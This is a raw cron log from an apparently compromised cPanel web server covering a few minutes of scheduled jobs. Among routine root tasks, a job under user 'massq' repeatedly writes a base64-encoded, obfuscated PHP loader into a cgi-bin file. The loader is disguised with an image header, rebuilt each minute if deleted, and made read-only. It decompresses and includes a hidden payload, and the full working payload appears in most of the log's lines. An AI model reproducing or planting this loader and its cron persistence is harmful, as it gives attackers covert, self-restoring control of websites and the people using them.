UMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:40:01 server CROND[10884]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:41:01 server CROND[11832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:41:01 server CROND[11833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:41:01 server CROND[11834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:42:01 server CROND[12215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:42:01 server CROND[12217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:42:01 server CROND[12216]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 08:42:01 server CROND[12218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:43:01 server CROND[12697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:43:01 server CROND[12698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:43:01 server CROND[12700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:44:01 server CROND[13087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:44:01 server CROND[13088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:44:01 server CROND[13089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:45:01 server CROND[13482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:45:01 server CROND[13479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:45:01 server CROND[13484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:45:01 server CROND[13481]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:45:01 server CROND[13483]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:45:01 server CROND[13480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:45:01 server CROND[13485]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:46:01 server CROND[14416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:46:01 server CROND[14417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:46:01 server CROND[14418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:47:01 server CROND[14795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:47:01 server CROND[14794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:47:01 server CROND[14796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:48:01 server CROND[15173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:48:01 server CROND[15174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:48:01 server CROND[15175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:49:01 server CROND[15555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:49:01 server CROND[15556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:49:01 server CROND[15557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:50:01 server CROND[15970]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:50:01 server CROND[15973]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:50:01 server CROND[15975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:50:01 server CROND[15977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:50:01 server CROND[15976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:50:01 server CROND[15981]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:50:01 server CROND[15978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:50:01 server CROND[15982]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 08:50:01 server CROND[15979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:51:01 server CROND[16918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:51:01 server CROND[16919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:51:01 server CROND[16920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:52:01 server CROND[17320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:52:01 server CROND[17321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:52:01 server CROND[17322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
